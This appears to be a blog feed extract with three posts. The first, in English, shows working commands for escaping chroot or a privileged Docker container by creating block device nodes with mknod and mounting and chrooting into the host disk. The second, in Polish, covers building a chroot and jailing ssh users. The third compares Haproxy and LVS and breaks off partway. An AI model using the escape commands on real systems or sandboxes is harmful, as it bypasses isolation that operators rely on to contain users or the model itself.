With that, I want to show you, why you should never give root access to users in <em>chroot</em>.</p>
<div class="section" id="crash-course">
<h2>Crash course</h2>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/TQRcC2OEHn8" allowfullscreen seamless frameBorder="0"></iframe></div><p>Because <em>docker</em> (like most of container technologies) uses <em>chroot</em>, exiting a <em>chroot</em> or <em>docker</em> will use the same technique.
Presented method need root access in docker run as <em>privileged</em> (in case you use docker).</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> docker run -it --privileged centos /bin/bash
<span class="gp">#</span> mknod /tmp/host_disk b <span class="m">259</span> <span class="m">1</span>
<span class="gp">#</span> mount /tmp/host_disk /mnt/
<span class="gp">#</span> chroot /mnt/ /bin/bash
</pre></div>
</div>
<div class="section" id="method-description">
<h2>Method description</h2>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/CVRyg4fYdq4" allowfullscreen seamless frameBorder="0"></iframe></div><p>This method uses <em>chroot</em> to the supervisor's <em>filesystem</em>.
Usually, we don't have <tt class="docutils literal">/dev/</tt> directory in <em>chroot</em>, so we cannot mount host <em>filesystem</em> and we have to create special device file manually.</p>
<p>In Linux devices are represented by special files.
Two, the most important, device types are block devices and character devices.
Character devices are devices which communicates by single char at a time and block devices are devices which communicates with blocks.</p>
<p>Usually, character devices let only read and write.
These devices are ex. mouse, keyboard, <tt class="docutils literal">/dev/random</tt>, pseudoterminal.
Block devices let you random access to device.
These devices are ex. hard disk, cdrom.</p>
<p>Every device special file is defined by three parameters:</p>
<ul class="simple">
<li>type: block or character device</li>
<li>major: major device number</li>
<li>minor: minor device number</li>
</ul>
<p>Linux kernel using type, major and minor knows which driver should handle device operations.
Full list of defined majors and minors is defined in <a class="reference external" href="https://github.com/torvalds/linux/blob/master/Documentation/admin-guide/devices.txt">linux kernel documentation</a></p>
<p>You can use <tt class="docutils literal">mknod</tt> to create device special file.
But, there is a catch.
Because, we have to know major and minor numbers of device we want to create, we have to <em>guess</em> them.
We can use documentation to know, that IDE hard disk have major 3, SCSI major 8 and so on.
This well know values are good starting points while looking for device with hosts <em>filesystem</em>.
If it's not any of them, we have to loop over all possible devices.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> docker run --rm -it --privileged centos /bin/bash
<span class="gp">#</span> mkdir /tmp/devices
<span class="gp">#</span> <span class="nb">cd</span> /tmp/devices/
<span class="gp">#</span> <span class="k">for</span> i in <span class="k">$(</span>seq <span class="m">1</span> <span class="m">300</span><span class="k">)</span><span class="p">;</span> <span class="k">do</span> mknod device_<span class="nv">$i</span> b <span class="nv">$i</span> <span class="m">0</span><span class="p">;</span> <span class="k">done</span>
<span class="gp">#</span> ls -l
<span class="go">brw-r--r--. 1 root root 1, 0 Feb 10 16:57 device_1</span>
<span class="go">brw-r--r--. 1 root root 10, 0 Feb 10 16:57 device_10</span>
<span class="go">brw-r--r--. 1 root root 100, 0 Feb 10 16:57 device_100</span>
<span class="go">brw-r--r--. 1 root root 101, 0 Feb 10 16:57 device_101</span>
<span class="go">brw-r--r--. 1 root root 102, 0 Feb 10 16:57 device_102</span>
<span class="go">brw-r--r--. 1 root root 103, 0 Feb 10 16:57 device_103</span>
<span class="go">brw-r--r--. 1 root root 104, 0 Feb 10 16:57 device_104</span>
<span class="go">(...)</span>
<span class="gp">#</span> fdisk -l * <span class="m">2</span>>/dev/null
<span class="go">Disk device_1: 16 MB, 16777216 bytes, 32768 sectors</span>
<span class="go">Units = sectors of 1 * 512 = 512 bytes</span>
<span class="go">Sector size (logical/physical): 512 bytes / 512 bytes</span>
<span class="go">I/O size (minimum/optimal): 512 bytes / 512 bytes</span>
<span class="go">Disk device_253: 44.0 GB, 44023414784 bytes, 85983232 sectors</span>
<span class="go">Units = sectors of 1 * 512 = 512 bytes</span>
<span class="go">Sector size (logical/physical): 512 bytes / 512 bytes</span>
<span class="go">I/O size (minimum/optimal): 512 bytes / 512 bytes</span>
<span class="go">Disk label type: dos</span>
<span class="go">Disk identifier: 0x0009b93d</span>
<span class="go"> Device Boot Start End Blocks Id System</span>
<span class="go">device_253p1 * 2048 83886079 41942016 83 Linux</span>
</pre></div>
<p>As we can se, there are only two existing block devices: <tt class="docutils literal">device_1</tt> and <tt class="docutils literal">device_253</tt>.
<tt class="docutils literal">device_1</tt> is <tt class="docutils literal">RAM disk</tt>, so it's not what we are looking for.
The next one looks like host <em>filesystem</em> device.
If case we didn't find any device, we should try looking for minor different than 0.
Because minor 0 is used for whole drive, and we want to access specific partition, we have to create device for specific partition.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> mknod device_253_1 b <span class="m">253</span> <span class="m">1</span>
</pre></div>
<p>Now, when we have device for host root <em>filesystem</em>, we can mount that partition and <tt class="docutils literal">chroot</tt>.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> mount device_253_1 /mnt/
<span class="gp">#</span> chroot /mnt/ /bin/bash
</pre></div>
<p>And now we have broken chroot and access host <em>filesystem</em>.</p>
</div>
Podstawy chroot2019-01-07T00:00:00+01:002019-01-07T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2019-01-07:/chroot-basics.html<p class="first last">W tym poście omówię ręczne tworzenie <em>chroot</em>-a, uruchamianie w nim aplikacji a także wykorzystanie go wraz z usługą <em>ssh</em>, do ograniczania uprawnień użytkowników logujących się do serwera.</p>
<p>W tym poście omówię ręczne tworzenie <em>chroot</em>-a, uruchamianie w nim aplikacji a także wykorzystanie go wraz z usługą <em>ssh</em>, do ograniczania uprawnień użytkowników logujących się do serwera.</p>
<div class="youtube youtube-16x9"><iframe src="https://www.youtube.com/embed/QmQE-3Ho3vE" allowfullscreen seamless frameBorder="0"></iframe></div><div class="section" id="czym-jest-chroot">
<h2>Czym jest <em>chroot</em>?</h2>
<p><em>Chroot</em> jest skrótem od <em>change root</em> i określa mechanizm zmiany katalogu bazowego dla uruchamianego procesu.
Powoduje to, że dany proces oraz wszystkie jego procesy pochodne odnosząc się do ścieżki <tt class="docutils literal">/</tt> odnoszą się do zmienionego katalogu.</p>
<p>Aktualny katalog <em>root</em> można sprawdzić w podsystemie <em>proc</em>.
Dla przykładu: proces <em>bash</em>, o <em>pid</em> 8429, został uruchomiony w <em>chroot</em>.
Jego katalog <em>root</em> widziany z systemu bazowego:</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> ls -l /proc/8429/root
<span class="go">lrwxrwxrwx. 1 root root 0 01-05 11:04 /proc/8429/root -> /tmp/ch</span>
</pre></div>
<p>Natomiast sprawdzając ten sam atrybut z wewnątrz <em>chroot</em>-a, otrzymamy</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> ls -l /proc/8429/root
<span class="go">lrwxrwxrwx. 1 0 0 0 Jan 5 10:04 /proc/8429/root -> /</span>
</pre></div>
<p>Wynika z tego, że proces uruchomiony w <em>chroot</em> nie ma wiedzy o tym, że jego <em>root</em> został zmieniony.</p>
</div>
<div class="section" id="jak-zrobic-pierwszego-chroot-a">
<h2>Jak zrobić pierwszego <em>chroot</em>-a?</h2>
<p>Wzorem solucji do gier ze starych pism komputerowych, poprowadzę Cię "za rączkę" i stworzymy minimalnego <em>chroot</em>-a.
Będę również pokazywał pojawiające się błędy, ponieważ ich występowanie w dużym stopniu wyjaśnia podejmowane kroki w celu stworzenia <em>chroot</em>-a.</p>
<p>Naszym pierwszym celem, będzie uruchomienie <tt class="docutils literal">bash</tt> w <em>chroot</em>-cie.
W tym celu musimy utworzyć katalog w którym będzie nasz nowy <em>root</em>, a następnie wgrać do niego plik binarny <tt class="docutils literal">bash</tt> (najlepiej do podkatalogu <tt class="docutils literal">bin</tt>, dla zachowania wyglądu zwykłego <em>filesystem</em>-u.</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> mkdir /tmp/first_chroot
<span class="gp">$</span> mkdir /tmp/first_chroot/bin
<span class="gp">$</span> cp /bin/bash /tmp/first_chroot/bin/
</pre></div>
<p>Następnie spróbujmy uruchomić <tt class="docutils literal">bash</tt>-a w <em>chroot</em>-cie.
Aby to zrobić, należy z użytkownika <em>root</em> wykonać polecenie <tt class="docutils literal">chroot</tt>, a jako argumenty przekazać: katalog na który chcemy zmienic <em>root</em>-a oraz polecenie które chcemy uruchomić.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> chroot /tmp/first_chroot/ /bin/bash
<span class="go">chroot: failed to run command ‘/bin/bash’: No such file or directory</span>
</pre></div>
<p>Otrzymaliśmy błąd, że nie ma takiego pliku ani katalogu.
Jest to bardzo mylący błąd, ponieważ ten plik istnieje.</p>
<p>Dokładniej o tym problemie opowiem w innym odcinku.
Na tą chwilę musimy tylko wiedzieć, żę w nagłówkach <em>ELF</em> <tt class="docutils literal">bash</tt>-a, mamy wpis dotyczący lokalizacji <em>INTERPRETER</em>-a, który ma zostać uruchomiony dla tej aplikacji</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> readelf -a /bin/bash<span class="p">|</span>grep INTERP -A2
<span class="go">INTERP 0x000154 0x00000154 0x00000154 0x00013 0x00013 R 0x1</span>
<span class="go"> [Requesting program interpreter: /lib/ld-linux.so.2]</span>
</pre></div>
<p>Jak widać, jako interpreter jest ustawiony linker.
Ponieważ w <em>chroot</em>-cie proces jako <tt class="docutils literal">/</tt> bierze katalog <em>chroot</em>-owy, dlatego musimy również skopiować linker:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> mkdir /tmp/first_chroot/lib
<span class="gp">$</span> cp /lib/ld-linux.so.2 /tmp/first_chroot/lib/ -iv
</pre></div>
<p>W tej chwili możemy ponownie spróbować uruchomić <tt class="docutils literal">bash</tt>-a w <em>chroot</em>-cie.</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> chroot /tmp/first_chroot/ /bin/bash
<span class="go">/bin/bash: error while loading shared libraries: libtinfo.so.6: cannot open shared object file: No such file or directory</span>
</pre></div>
<p>Powyższy błąd oznacza, że linker próbuje załadować biblioteki współdzielone i nie jest w stanie ich zlokalizować.
Dlatego trzeba je również dograć.
Trzeba pamiętać, że poszukiwany plik jest najczęściej <em>symlink</em>-iem do konkretnej wersji biblioteki:</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ls -l /lib/libtinfo.so.6
<span class="go">lrwxrwxrwx. 1 root root 15 2018-05-09 /lib/libtinfo.so.6 -> libtinfo.so.6.1</span>
</pre></div>
<p>Dlatego, gdy kopiujemy potrzebne biblioteki, należy przekopiować zarówno <em>symlink</em> jak i samą bibliotekę</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> cp /lib/libtinfo.so.6 /lib/libtinfo.so.6.1 /tmp/first_chroot/lib -iv
<span class="go">'/lib/libtinfo.so.6' -> '/tmp/first_chroot/lib/libtinfo.so.6'</span>
<span class="go">'/lib/libtinfo.so.6.1' -> '/tmp/first_chroot/lib/libtinfo.so.6.1'</span>
</pre></div>
<p>Po przegraniu biblioteki, możemy ponownie spróbować przełączyć się do <em>chroot</em></p>
<div class="highlight"><pre><span></span><span class="gp">#</span> chroot /tmp/first_chroot/ /bin/bash
<span class="go">/bin/bash: error while loading shared libraries: libdl.so.2: cannot open shared object file: No such file or directory</span>
</pre></div>
<p>Widzimy, że teraz występuje problem z kolejną biblioteką.
Aby nie wgrywać po jednej bibliotece i sprawdzać jakiej jeszcze brakuje, odczytajmy wszystkie potrzebne biblioteki i wgrajmy je za jednym razem.
Aby odczytać potrzebne biblioteki, użyjemy polecenia <tt class="docutils literal">ldd</tt></p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ldd /bin/bash
<span class="go"> linux-gate.so.1 (0xb7ede000)</span>
<span class="go"> libtinfo.so.6 => /lib/libtinfo.so.6 (0xb7d5e000)</span>
<span class="go"> libdl.so.2 => /lib/libdl.so.2 (0xb7d59000)</span>
<span class="go"> libc.so.6 => /lib/libc.so.6 (0xb7bb5000)</span>
<span class="go"> /lib/ld-linux.so.2 (0xb7ee0000)</span>
</pre></div>
<p>Widzimy, że brakuje mam <tt class="docutils literal">libdl.so.2</tt>, <tt class="docutils literal">libc.so.6</tt></p>
<div class="highlight"><pre><span></span><span class="gp">$</span> cp -iv /lib/libdl.so* /lib/libc.so* /tmp/first_chroot/lib/
<span class="go">'/lib/libdl.so' -> '/tmp/first_chroot/lib/libdl.so'</span>
<span class="go">'/lib/libdl.so.2' -> '/tmp/first_chroot/lib/libdl.so.2'</span>
<span class="go">'/lib/libc.so' -> '/tmp/first_chroot/lib/libc.so'</span>
<span class="go">'/lib/libc.so.6' -> '/tmp/first_chroot/lib/libc.so.6'</span>
</pre></div>
<p>Teraz, gdy mamy wszystkie potrzebne biblioteki, możemy w końcu uruchomić naszą powłokę w <em>chroot</em></p>
<div class="highlight"><pre><span></span><span class="gp">#</span> chroot /tmp/first_chroot/ /bin/bash
<span class="go">bash-4.4#</span>
</pre></div>
<p>Widzimy, że została uruchomiona powłoka <tt class="docutils literal">bash</tt>.
Jednak, nie działają w niej żadne podstawowe polecenia systemu Linux: <tt class="docutils literal">ls</tt>, <tt class="docutils literal">mkdir</tt>, <tt class="docutils literal">mount</tt> itp.
Jest tak dlatego, że w naszym <em>chroot</em> mamy jedynie <tt class="docutils literal">bash</tt>-a.
Działają natomiast polecenia samej powłowki: <tt class="docutils literal">cd</tt>, <tt class="docutils literal">pwd</tt> itp.</p>
<p>Poszerzmy teraz naszego <em>chroot</em>-a o polecenie <tt class="docutils literal">ls</tt></p>
<div class="highlight"><pre><span></span><span class="gp">$</span> cp -iv /bin/ls /tmp/first_chroot/bin/
<span class="go">'/bin/ls' -> '/tmp/first_chroot/bin/ls'</span>
<span class="gp">$</span> ldd /bin/ls
<span class="go"> linux-gate.so.1 (0xb7f75000)</span>
<span class="go"> libselinux.so.1 => /lib/libselinux.so.1 (0xb7f04000)</span>
<span class="go"> libcap.so.2 => /lib/libcap.so.2 (0xb7efe000)</span>
<span class="go"> libc.so.6 => /lib/libc.so.6 (0xb7d5a000)</span>
<span class="go"> libpcre2-8.so.0 => /lib/libpcre2-8.so.0 (0xb7cd3000)</span>
<span class="go"> libdl.so.2 => /lib/libdl.so.2 (0xb7cce000)</span>
<span class="go"> /lib/ld-linux.so.2 (0xb7f77000)</span>
<span class="go"> libpthread.so.0 => /lib/libpthread.so.0 (0xb7caf000)</span>
<span class="gp">$</span> cp -iv /lib/libselinux.so.1 /lib/libcap.so.2* /lib/libpcre2-8.so.0* /lib/libpthread.so* /tmp/first_chroot/lib/
<span class="go">'/lib/libselinux.so.1' -> '/tmp/first_chroot/lib/libselinux.so.1'</span>
<span class="go">'/lib/libcap.so.2' -> '/tmp/first_chroot/lib/libcap.so.2'</span>
<span class="go">'/lib/libcap.so.2.25' -> '/tmp/first_chroot/lib/libcap.so.2.25'</span>
<span class="go">'/lib/libpcre2-8.so.0' -> '/tmp/first_chroot/lib/libpcre2-8.so.0'</span>
<span class="go">'/lib/libpcre2-8.so.0.7.0' -> '/tmp/first_chroot/lib/libpcre2-8.so.0.7.0'</span>
<span class="go">'/lib/libpcre.so.1.2.10' -> '/tmp/first_chroot/lib/libpcre.so.1.2.10'</span>
<span class="go">'/lib/libpthread.so' -> '/tmp/first_chroot/lib/libpthread.so'</span>
<span class="go">'/lib/libpthread.so.0' -> '/tmp/first_chroot/lib/libpthread.so.0'</span>
</pre></div>
<p>gdy dogramy już aplikację <tt class="docutils literal">ls</tt> oraz potrzebne biblioteki, możemy wykonać w naszym <em>chroot</em> polecenie <tt class="docutils literal">ls</tt>.
Warto przed tym ustawić odpowiedni zmienna <tt class="docutils literal">PATH</tt>, gdyż niekoniecznie będzie ona ustawiona na katalog <tt class="docutils literal">bin</tt></p>
<div class="highlight"><pre><span></span><span class="gp">#</span> <span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:/bin/
<span class="gp">#</span> ls -l
<span class="go">drwxrwxr-x. 2 1000 1000 80 Jan 5 13:52 bin</span>
<span class="go">drwxrwxr-x. 2 1000 1000 360 Jan 5 13:56 lib</span>
</pre></div>
<p>Tak przygotowany <em>chroot</em> zapewnia nam izolację procesów w nim uruchomionych od pozostałego <em>filesystem</em>-u.</p>
</div>
<div class="section" id="uruchamianie-aplikacji-w-chroot">
<h2>Uruchamianie aplikacji w <em>chroot</em></h2>
<p>Jako przykładową aplikację, uruchomimy sobie wbudowany w <em>python</em>-a 3 server HTTP.
Aby to zrobić, wkopiujemy plik binarny, potrzebne biblioteki systemowe oraz wszystkie pliki interpretera <em>python</em> (wartym rozważenia rozwiązaniem jest również instalacja danej aplikacji w odpowiednich katalogach, zamiast kopiowanie plików)</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> cp /usr/bin/python3.6 /tmp/first_chroot/bin/
<span class="gp">$</span> ldd /tmp/first_chroot/bin/python3.6
<span class="go"> linux-gate.so.1 (0xb7f02000)</span>
<span class="go"> libpython3.6m.so.1.0 => /lib/libpython3.6m.so.1.0 (0xb7b83000)</span>
<span class="go"> libpthread.so.0 => /lib/libpthread.so.0 (0xb7b64000)</span>
<span class="go"> libdl.so.2 => /lib/libdl.so.2 (0xb7b5f000)</span>
<span class="go"> libutil.so.1 => /lib/libutil.so.1 (0xb7b5b000)</span>
<span class="go"> libm.so.6 => /lib/libm.so.6 (0xb7a59000)</span>
<span class="go"> libc.so.6 => /lib/libc.so.6 (0xb78b5000)</span>
<span class="go"> /lib/ld-linux.so.2 (0xb7f04000)</span>
<span class="gp">$</span> cp -iv /lib/libpython3.6m.so* /lib/libutil.so* /lib/libm.so* /tmp/first_chroot/lib/ -iv
<span class="go">'/lib/libpython3.6m.so' -> '/tmp/first_chroot/lib/libpython3.6m.so'</span>
<span class="go">'/lib/libpython3.6m.so.1.0' -> '/tmp/first_chroot/lib/libpython3.6m.so.1.0'</span>
<span class="go">'/lib/libutil.so' -> '/tmp/first_chroot/lib/libutil.so'</span>
<span class="go">'/lib/libutil.so.1' -> '/tmp/first_chroot/lib/libutil.so.1'</span>
<span class="go">'/lib/libm.so' -> '/tmp/first_chroot/lib/libm.so'</span>
<span class="go">'/lib/libm.so.6' -> '/tmp/first_chroot/lib/libm.so.6'</span>
<span class="gp">$</span> mkdir /tmp/first_chroot/usr/lib -p
<span class="gp">$</span> cp /usr/lib/python3.6 /tmp/first_chroot/usr/lib/
<span class="gp">$</span> cp -iv /lib/libz.so* /tmp/first_chroot/lib
</pre></div>
<p>Następnie możemy uruchomić naszą przykładową aplikację:</p>
<div class="highlight"><pre><span></span><span class="gp">#</span> /bin/python3.6 -m http.server <span class="m">8998</span>
</pre></div>
<p>Teraz możemy zobaczyć jaką korzyść niesie uruchomienie aplikacji w <em>chroot</em>.
Załóżmy, że <em>atakujący</em>, wykorzystując błędy w aplikacji, przejął nad nią kontrolę i jest w stanie odczytać dowolne pliki z dysku.
My na te potrzeby uruchomiliśmy serwer HTTP, który taką możliwość daje z założenia, ale efekt jest taki sam: klient łączący się do aplikacji ma dostęp do tych plików do których ma aplikacja.
Łącząc się pod adres <tt class="docutils literal"><span class="pre">http://127.0.0.1:8898</span></tt> widzimy, że aplikacja, a co za tym idzie atakujący ma dostęp jedynie do plików umieszczonych w <em>chroot</em></p>
<div class="highlight"><pre><span></span><span class="gp">$</span> curl http://127.0.0.1:8898
<span class="go"><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"></span>
<span class="go"><html></span>
<span class="go"><head></span>
<span class="go"><meta http-equiv="Content-Type" content="text/html; charset=ascii"></span>
<span class="go"><title>Directory listing for /</title></span>
<span class="go"></head></span>
<span class="go"><body></span>
<span class="go"><h1>Directory listing for /</h1></span>
<span class="go"><hr></span>
<span class="go"><ul></span>
<span class="go"><li><a href="bin/">bin/</a></li></span>
<span class="go"><li><a href="lib/">lib/</a></li></span>
<span class="go"><li><a href="tmp/">tmp/</a></li></span>
<span class="go"><li><a href="usr/">usr/</a></li></span>
<span class="go"></ul></span>
<span class="go"><hr></span>
<span class="go"></body></span>
<span class="go"></html></span>
</pre></div>
<p>Oznacza to, że w przypadku kompromitacji jednej aplikacji, nie następuje kompromitacja pozostałych uruchomionych tam aplikacji jak również samego systemu.</p>
</div>
<div class="section" id="zamykanie-zdalnych-uzytkownikow-w-chroot">
<h2>Zamykanie zdalnych użytkowników w <em>chroot</em></h2>
<p>Częstą praktyką jest również zamykanie zdalnych użytkowników w <em>chroot</em>-ach.
Najłatwiej zrobić to poprzez utworzenie grupy użytkowników, a następnie dodawania kolejnych do tejże grupy.</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> groupadd chrooties
<span class="gp">$</span> useradd chroot1 -g chrooties -M
<span class="gp">$</span> passwd chroot1
</pre></div>
<p>Warto tutaj zwrócić uwagę na parametr <tt class="docutils literal"><span class="pre">-M</span></tt>, który mówi, aby <tt class="docutils literal">useradd</tt> nie tworzył katalogu domowego - nie będzie nam on teraz potrzebny.
W sytuacji w której będziemy chcieli logować się po kluczu, może się on okazać przydatny.
Jednak w naszym przypadku zadowolimy się logowaniem hasłem.</p>
<p>Ważną rzeczą, którą trzeba tutaj zaznaczyć, są wymagania <em>ssh</em> co do uprawnień katalogu do którego będzie robiony <em>chroot</em>.
Z przyczyn bezpieczeństwa, <em>ssh</em> wymaga, aby cała ścieżka do katalogu była w rękach <em>root</em>-a i tylko <em>root</em>-a.
Dlatego musimy przenieść nasz <tt class="docutils literal">first_chroot</tt> poza <tt class="docutils literal">tmp</tt> oraz nadać mu odpowiednie uprawnienia.</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> mv /tmp/first_chroot/ /
<span class="gp">#</span> chown root:root /first_chroot/
<span class="gp">#</span> chmod <span class="m">755</span> /first_chroot/
</pre></div>
<p>Teraz możemy skonfigurować <em>ssh</em>.
W pliku <tt class="docutils literal">/etc/ssh/sshd_config</tt> musimy dopisać sekcję dotyczącą naszych użytkowników</p>
<div class="highlight"><pre><span></span>Match Group chrooties
ChrootDirectory /first_chroot
</pre></div>
<p>Po wykonaniu restartu, możemy się zalogować i wylistować katalogi</p>
<div class="highlight"><pre><span></span><span class="gp">$</span> ssh chroot1@localhost
<span class="go">chroot1@localhost's password:</span>
<span class="go">Last login: Sun Jan 6 08:25:41 2019 from 127.0.0.1</span>
<span class="go">-bash-4.4$ /bin/ls</span>
<span class="go">bin lib tmp usr</span>
</pre></div>
<p>Widzimy, że użytkownik został zamknięty w przygotowanym <em>chroot</em>.
Teraz jest już tylko w gestii administratora, co będzie posiadał w tym <em>chroot</em>.</p>
</div>
<div class="section" id="podsumowanie">
<h2>Podsumowanie</h2>
<p>Pokazaliśmy sobie czym jest <em>chroot</em>, jak go utworzyć, jak uruchomić w nim aplikację oraz zamknąć <em>użyszkodników</em>.
Zachęcam do zadawania pytań oraz komentowania pod filmem na yt.</p>
</div>
Haproxy vs LVS2018-12-29T00:00:00+01:002018-12-29T00:00:00+01:00TORGirentag:blog.fabrykowski.pl,2018-12-29:/haproxy-vs-lvs.html<p>Omówienie zasady działania balancerów Haproxy i LVS oraz porównanie wydajności obydwu w środowisku z wysyconym łączem wychodzącym.</p><p>W tym poście omówię temat balansowania ruchu. Przedstawię dwa popularne rozwiązania: <em>Haproxy</em> oraz <em>LVS</em>, a następnie przeprowadzę testy wydajności obydwu rozwiązań w środowisku z wysyconym łączem wychodzącym.</p>
<div class="highlight"><pre><span></span><span class="n">Uwaga</span><span class="o">:</span> <span class="n">Ten</span> <span class="n">post</span> <span class="n">jest</span> <span class="n">pisany</span> <span class="n">po</span> <span class="n">nagraniu</span> <span class="n">materiału</span> <span class="n">na</span> <span class="n">YouTube</span><span class="o">.</span>
<span class="n">Dlatego</span> <span class="n">zachowany</span> <span class="n">został</span> <span class="n">chaotyczny</span> <span class="n">charakter</span> <span class="n">tego</span> <span class="n">materiału</span>
</pre></div>
<h2>Teoria</h2>
<p><span class="videobox">
<iframe width="320" height="180"
src='https://www.youtube.com/embed/iSSAVJg7_Pw'
frameborder='0' webkitAllowFullScreen mozallowfullscreen
allowFullScreen>
</iframe>
</span></p>
<h3>Czym jest balansowanie ruchu?</h3>
<p>Wyobraźmy sobie, że mamy klientów, którzy chcą odpytać o stronę www, np: strona.pl.
Gdybyśmy mieli tylko jeden serwer obsługujący tę stronę, klient zawsze pytałby o żądaną stronę właśnie go.</p>
<p>I tu pojawia się potrzeba balansowania ruchu.
Robi się to w dwóch celach:</p>
<ul>
<li><strong>HA</strong> (High Availability) czyli <strong>wysoka dostępność</strong></li>
<li><strong>HP</strong> (High Performance) czyli <strong>wysoka wydajność</strong></li>
</ul>
<p>W klastrze <em>HA</em> mamy kilka serwerów.
Gdy jeden z nich ulegnie awarii, wtedy kolejne zapytania będą kierowane na inne, sprawne maszyny.
W efekcie, klient zawsze otrzyma odpowiedź na swoje zapytanie.</p>
<p>W klastrze <em>HP</em> również mamy kilka serwerów.
Gdy serwis ma wielu klientów, to istnieje pewna ilość zapytań, przy których jeden serwer nie ma wystarczających zasobów, aby przetwarzać zapytania bez opóźnień.
Dlatego w klastrze <em>HP</em> zapytania kierowane są równolegle na wiele serwerów, aby rozłożyć obciążenie i umożliwić wydajną pracę wszystkich maszyn.</p>
<p>Ten post będzie dotyczył klastrów <em>High Performance</em> pod kątem dostępnej przepustowości łącza.</p>
<h3>Jak wygląda zapytanie HTTP</h3>
<p>Weźmy za przykład dowolny obrazek (np. kota).
Jest to dobry przykład dla dzisiejszego posta, ponieważ zapytanie o obrazek jest małe, a odpowiedź (obrazek) jest proporcjonalnie bardzo duży.</p>
<p>Zapytanie <code>HTTP</code> wygląda następująco:</p>
<div class="highlight"><pre><span></span><span class="nf">GET</span> <span class="nn">/kot.jpg</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.0</span>
</pre></div>
<p>Czyli, wysyłając do serwera zapytanie <code>HTTP</code>, które ma kilkanaście bajtów, otrzymamy odpowiedź w postaci obrazka, który będzie miał rozmiar nawet kilkunastu megabajtów.</p>
<p>Warto to powtórzyć.
Przy ruchu <code>HTTP</code> zwykle zapytania od klientów są małe, a odpowiedzi są duże.</p>
<h3>Jak działa <em>Haproxy</em></h3>
<p><em>Haproxy</em> jest <em>load balancer</em>-em <em>natującym</em>, czyli gdy zapytanie trafia od klienta do <em>Haproxy</em>, ten nawiązuje połączenie do jednego z serwerów <em>backend</em>-owych (algorytmów wyboru do którego serwera nastąpi połączenie jest kilka), wykonuje (często identyczne, a jeśli nie, to bardzo zbliżone do oryginalnego) zapytanie <code>HTTP</code>.
Potem serwer <em>backend</em>-owy odpowiada do <em>Haproxy</em> a to ostatecznie wysyła odpowiedź do klienta.</p>
<p>W związku z tym, może nastąpić sytuacja, w której sumaryczna odpowiedź od serwerów <em>backend</em>-owych, a co za tym idzie ruch wychodzący z <em>Haproxy</em> do klientów będzie większy niż przepustowość łącza doprowadzonego do serwera.
Powoduje to opóźnienia w otrzymywaniu przez klientów odpowiedzi, nie wynikające z braku standardowych zasobów jakimi są <code>CPU</code> bądź <code>RAM</code>.
W tym przypadku dokładanie kolejnych maszyn do klastra nie tylko nie poprawi sytuacji, ale wręcz może ją jeszcze pogorszyć.</p>
<p>Jednakże, są sposoby aby ten problem rozwiązać</p>
<h3>Jak działa <em>LVS</em></h3>
<p><em>LVS</em> ma kilka trybów pracy.
Ja się skupię na trybie <strong>direct routing</strong>.
<em>LVS</em> jest <em>balancer</em>-em warstwy czwartej, ponieważ słucha na <code>IP</code> + port, jednak w trybie <em>direct routing</em> mechanizm dystrybucji ruchu działa na warstwie drugiej modelu <em>OSI</em>.
Dodatkowo <em>LVS</em> działa w jądrze systemu, bez udziału aplikacji w <em>userspace</em> co również wpływa pozytywnie na wydajność.</p>
<p>W <em>LVS</em> mamy jednego <em>director</em>-a (może być ich więcej, ale to już temat tworzenia <em>HA</em> dla samego <em>LVS</em>), oraz serwery <em>backend</em>-owe, które w <em>LVS</em> noszą nazwę <strong>real server</strong>-ów.</p>
<p>Każda maszyna w klastrze <em>LVS</em> ma swój adres <code>IP</code>. Dodatkowo, na potrzebny balansowania ruchu, należy przydzielić dodatkowy, wirtualny adres <code>IP</code>.
Ważną rzeczą, która odróżnia <em>LVS</em> (w trybie <em>direct routing</em>) od innych <em>load balancer</em>-ów jest fakt, że przydzielony wirtualny adres <code>IP</code> należy ustawić nie tylko na serwerze rozdzielającym ruch - <em>directorze</em>, ale również na wszystkich pozostałych serwerach - <em>real server</em>-ach.</p>
<p>Po takim przypisaniu adresów <code>IP</code> do maszyn, otrzymamy konflikty adresacji.
Dlatego należy tak skonfigurować <em>real server</em>-y, aby nie rozgłaszały <em>arp</em>-ów z wirtualnym adresem.
Tylko <em>director</em> może odpowiedzieć na zapytanie <em>arp</em> o wirtualny adres <em>balancer</em>-a.</p>
<h4>Jak <em>LVS</em> przekazuje pakiety do <em>real server</em>-ów</h4>
<p>Załóżmy, że w naszym klastrze mamy następujące maszyny:</p>
<div class="highlight"><pre><span></span><span class="n">director</span><span class="o">:</span>
<span class="n">ip</span><span class="o">:</span> <span class="mf">10.0</span><span class="o">.</span><span class="mf">0.1</span>
<span class="n">virtual</span> <span class="n">ip</span><span class="o">:</span> <span class="mf">10.0</span><span class="o">.</span><span class="mf">0.2</span>
<span class="n">mac</span><span class="o">:</span> <span class="mi">00</span><span class="o">:</span><span class="mi">00</span><span class="o">:</span><span class="n">de</span><span class="o">:</span><span class="n">ad</span><span class="o">:</span><span class="n">be</span><span class="o">:</span><span class="n">ef</span>
<span class="n">real</span> <span class="n">server1</span><span class="o">:</span>
<span class="n">ip</span><span class="o">:</span> <span class="mf">10.0</span><span class="o">.</span><span class="mf">0.5</span>
<span class="n">virtual</span> <span class="n">ip</span><span class="o">:</span> <span class="mf">10.0</span><span class="o">.</span><span class="mf">0.2</span>
